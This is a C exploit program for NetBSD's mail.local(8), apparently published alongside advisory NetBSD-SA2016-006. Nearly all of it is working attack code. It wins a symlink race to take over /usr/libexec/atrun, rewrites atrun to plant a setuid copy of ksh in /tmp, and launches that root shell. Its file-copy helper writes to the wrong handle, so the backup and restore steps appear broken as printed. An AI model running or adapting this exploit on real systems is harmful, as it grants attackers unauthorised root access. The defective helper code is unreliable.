NetBSD mail.local(8) local root exploit that leverages a race condition as noted in NetBSD-SA2016-006.
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// Source: http://akat1.pl/?id=2
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/wait.h>
#define ATRUNPATH "/usr/libexec/atrun"
#define MAILDIR "/var/mail"
static int
overwrite_atrun(void)
{
char *script = "#! /bin/sh\n"
"cp /bin/ksh /tmp/ksh\n"
"chmod +s /tmp/ksh\n";
size_t size;
FILE *fh;
int rv = 0;
fh = fopen(ATRUNPATH, "wb");
if (fh == NULL) {
rv = -1;
goto out;
}
size = strlen(script);
if (size != fwrite(script, 1, strlen(script), fh)) {
rv = -1;
goto out;
}
out:
if (fh != NULL && fclose(fh) != 0)
rv = -1;
return rv;
}
static int
copy_file(const char *from, const char *dest, int create)
{
char buf[1024];
FILE *in = NULL, *out = NULL;
size_t size;
int rv = 0, fd;
in = fopen(from, "rb");
if (create == 0)
out = fopen(dest, "wb");
else {
fd = open(dest, O_WRONLY | O_EXCL | O_CREAT, S_IRUSR |
S_IWUSR);
if (fd == -1) {
rv = -1;
goto out;
}
out = fdopen(fd, "wb");
}
if (in == NULL || out == NULL) {
rv = -1;
goto out;
}
while ((size = fread(&buf, 1, sizeof(buf), in)) > 0) {
if (fwrite(&buf, 1, size, in) != 0) {
rv = -1;
goto out;
}
}
out:
if (in != NULL && fclose(in) != 0)
rv = -1;
if (out != NULL && fclose(out) != 0)
rv = -1;
return rv;
}
int
main()
{
pid_t pid;
uid_t uid;
struct stat sb;
char *login, *mailbox, *mailbox_backup = NULL, *atrun_backup, *buf;
umask(0077);
login = getlogin();
if (login == NULL)
err(EXIT_FAILURE, "who are you?");
uid = getuid();
asprintf(&mailbox, MAILDIR "/%s", login);
if (mailbox == NULL)
err(EXIT_FAILURE, NULL);
if (access(mailbox, F_OK) != -1) {
/* backup mailbox */
asprintf(&mailbox_backup, "/tmp/%s", login);
if (mailbox_backup == NULL)
err(EXIT_FAILURE, NULL);
}
if (mailbox_backup != NULL) {
fprintf(stderr, "[+] backup mailbox %s to %s\n", mailbox,
mailbox_backup);
if (copy_file(mailbox, mailbox_backup, 1))
err(EXIT_FAILURE, "[-] failed");
}
/* backup atrun(1) */
atrun_backup = strdup("/tmp/atrun");
if (atrun_backup == NULL)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] backup atrun(1) %s to %s\n", ATRUNPATH,
atrun_backup);
if (copy_file(ATRUNPATH, atrun_backup, 1))
err(EXIT_FAILURE, "[-] failed");
/* win the race */
fprintf(stderr, "[+] try to steal %s file\n", ATRUNPATH);
switch (pid = fork()) {
case -1:
err(EXIT_FAILURE, NULL);
/* NOTREACHED */
case 0:
asprintf(&buf, "echo x | /usr/libexec/mail.local -f xxx %s "
"2> /dev/null", login);
for(;;)
system(buf);
/* NOTREACHED */
default:
umask(0022);
for(;;) {
int fd;
unlink(mailbox);
symlink(ATRUNPATH, mailbox);
sync();
unlink(mailbox);
fd = open(mailbox, O_CREAT, S_IRUSR | S_IWUSR);
close(fd);
sync();
if (lstat(ATRUNPATH, &sb) == 0) {
if (sb.st_uid == uid) {
kill(pid, 9);
fprintf(stderr, "[+] won race!\n");
break;
}
}
}
break;
}
(void)waitpid(pid, NULL, 0);
if (mailbox_backup != NULL) {
/* restore mailbox */
fprintf(stderr, "[+] restore mailbox %s to %s\n",
mailbox_backup, mailbox);
if (copy_file(mailbox_backup, mailbox, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(mailbox_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
}
/* overwrite atrun */
fprintf(stderr, "[+] overwriting atrun(1)\n");
if (chmod(ATRUNPATH, 0755) != 0)
err(EXIT_FAILURE, NULL);
if (overwrite_atrun())
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] waiting for atrun(1) execution...\n");
for(;;sleep(1)) {
if (access("/tmp/ksh", F_OK) != -1)
break;
}
/* restore atrun */
fprintf(stderr, "[+] restore atrun(1) %s to %s\n", atrun_backup,
ATRUNPATH);
if (copy_file(atrun_backup, ATRUNPATH, 0))
err(EXIT_FAILURE, "[-] failed");
if (unlink(atrun_backup) != 0)
err(EXIT_FAILURE, "[-] failed");
if (chmod(ATRUNPATH, 0555) != 0)
err(EXIT_FAILURE, NULL);
fprintf(stderr, "[+] done! Don't forget to change atrun(1) "
"ownership.\n");
fprintf(stderr, "Enjoy your shell:\n");
execl("/tmp/ksh", "ksh", NULL);
return 0;
}